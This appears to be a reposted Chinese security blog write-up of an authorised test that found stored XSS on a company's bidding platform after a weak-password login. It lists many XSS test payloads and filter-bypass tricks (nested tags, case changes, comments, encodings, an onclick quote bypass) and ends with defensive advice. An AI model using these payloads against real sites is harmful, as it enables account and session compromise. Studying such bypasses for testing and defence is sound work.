转自我的奇安信攻防社区文章:https://forum.butian.net/share/885
免责声明:
渗透过程为授权测试,所有漏洞均以提交相关平台,博客目的只为分享挖掘思路和知识传播**
涉及知识:
xss注入及xss注入绕过
挖掘过程:
某次针对某目标信息搜集无意发现某工程公司的项目招标平台
厚码…求生欲满满呜呜呜
随手一试就是弱口令登陆, 弱口令yyds!!!
发现在供应商资料中存在不少输入点,手痒随手一波xss
分享一波常用测试语句:
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x οnerrοr=alert("XSS");>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
刷一波发现大部分都有过滤,但是[股份/责任人] 栏下有代码被注入成功
语句为:"<script>alert('XSS')</script>"<
查看该部分DOM源码:
有戏!
针对该点继续测试,构造语句:
"<script>alert('XSS')</script>"<
“"<
“"<
url编码:
"<script>alert("''XSS'")%3C/script%3E
小总结:
发现 / 被转义成 =”” //
/变成 =””
</ script>转义成<="" script=""> 而且多个/
,如///也只被转义成 ="" 没办法重写绕过
并且存在htmlspecialchars()函数: "
,意味: """
本地测试发现script便签中存在 " 就无法弹窗
所以存在两个问题,一方面要绕过这个"
,而且要绕过</script>
的转义
- L先说对
</script>
的绕过思路:
转换法:
- 前端限制绕过,直接抓包重放,或者修改html前端代码
- 大小写,比如:
<scrIPT>alERT(1111)</scRIPT>
用来绕过 - 拼凑:
<scri<script>pt>alert(1111)</scri</script>pt>
- 使用注释干扰:
<scri<!--test-->pt>alert(111)</scri<!--test-->pt>
编码法:
核心思路:后台过滤了特殊字符,比如<script>
标签,但该标签可以被各种编码,后台不一定过滤,当浏览器对该编码进行识别时,会翻译成正常的便签,从而执行
在使用编码时需要主要编码在输出点是否会被正常是不和翻译!
- 接下来说对
"
的绕过:
htmlspecialchars()函数是把预定义的字符转换为HTML实体,预定义的字符是:&(和号)成为 &
" (双引号)成为"
‘(单引号)成为'
<(小于号)成为<
>(大于号) 成为>
可引用类型:
ENT_COMPAT-默认,仅编码双引号
ENT_QUOMES-编码双引号和单引号
ENT_NOQUOTES-不编码任何引号
eg:q'οnclick='alert(1111)'
其他函数
构造语句:
构造对"的绕过:
q'οnclick='alert(1111)'
直接产生弹窗:
重新访问页面该xss弹窗还在,说明注入成功
xss常见的防范措施
总的原则:输入做过滤,输出做转义
过滤:根据业务需求进行过滤,比如过滤要求输入手机号,则只允许输入手机号格式的数字
转义:所有输入到前端的数据都根据输出点进行转义,比如输出到HTML中进行HTML实体转义,输入到JS里面的进行JS转义